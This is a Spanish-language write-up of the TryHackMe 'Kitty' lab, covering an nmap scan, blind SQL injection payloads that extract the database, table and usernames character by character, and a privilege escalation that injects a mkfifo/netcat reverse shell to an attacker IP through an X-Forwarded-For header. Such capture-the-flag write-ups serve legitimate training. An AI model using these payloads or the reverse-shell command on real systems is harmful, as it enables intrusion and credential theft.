Kitty Writeup - Try-Hack-Me
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-04 20:02 EST
Nmap scan report for 10.10.64.85
Host is up (0.18s latency).
Not shown: 64902 closed tcp ports (reset), 631 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b0:c5:69:e6:dd:6b:81:0c:da:32:be:41:e3:5b:97:87 (RSA)
| 256 6c:65:ad:87:08:7a:3e:4c:7d:ea:3a:30:76:4d:04:16 (ECDSA)
|_ 256 2d:57:1d:56:f6:56:52:29:ea:aa:da:33:b2:77:2c:9c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.21 seconds
Ports: 22/ssh - 80/http
Enumeración del puerto 80
vamos a intentar hacer una inyección sqli
parece que la pagina esta en mantenimiento.
vamos a probar otras inyecciones diferentes
Fuzzing con gobuster
parece que no tenemos ningún directorio que sea de ayuda.
sqli usando Burpsuite
1
'+and+substring(database(),1,1)="a"+#
vamos a interceptar una peticion con burpsuite
configuramos el payloads obtenemos como respuesta
1
username=kitty'+and+substring(database(),1,1)="m"+#&password=kitty
para la segunda posición obtenemos la letra “y”
para el tercer posición obtenemos la letra “w” tenemos que hacer esto cambiando la posición hasta conseguir información sobre el nombre de la base de datos
usaremos este parametro para obtener informacion sobre las tablas
1
username=kitty'+and+substring((select+table_name+from+information_schema.tables+where+table_schema="mywebsite"+limit+0,1),1,1)="a"+#&password=kitty
el primer resultado nos da la letra “s”
ejecutamos el ataque cambiando la posición, en este caso nos da la letra “i” tenemos que hacer esto hasta sacar el nombre de la tabla
1
username=kitty'+AND+SUBSTRING((SELECT+username+from+siteusers+LIMIT+0,1),1,1)="a"+#&password=kitty
sacamos carácter de la posición 4 “g”
hacemos esto desde la posición 1 hasta conseguir todos los caracteres
ssh
Escalada de Privilegios
parece que este script hace un guardado en logged de los intentos de sqli que se hacen en el panel de login de parte del desarrolador
conexion por ssh haciendo un port forwarding
localhost:8080
tenemos conexión por el puerto 8080 en el que vemos la web de parte del desarrollador
Burpsuite
usamos la inyeccion sqli para que esta informacion se guarde en el archivo logged y agregamos la linea
1
X-Forwarded-For: $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.9.157.7 7890 >/tmp/f)
esperamos un rato a que se haga el guardado.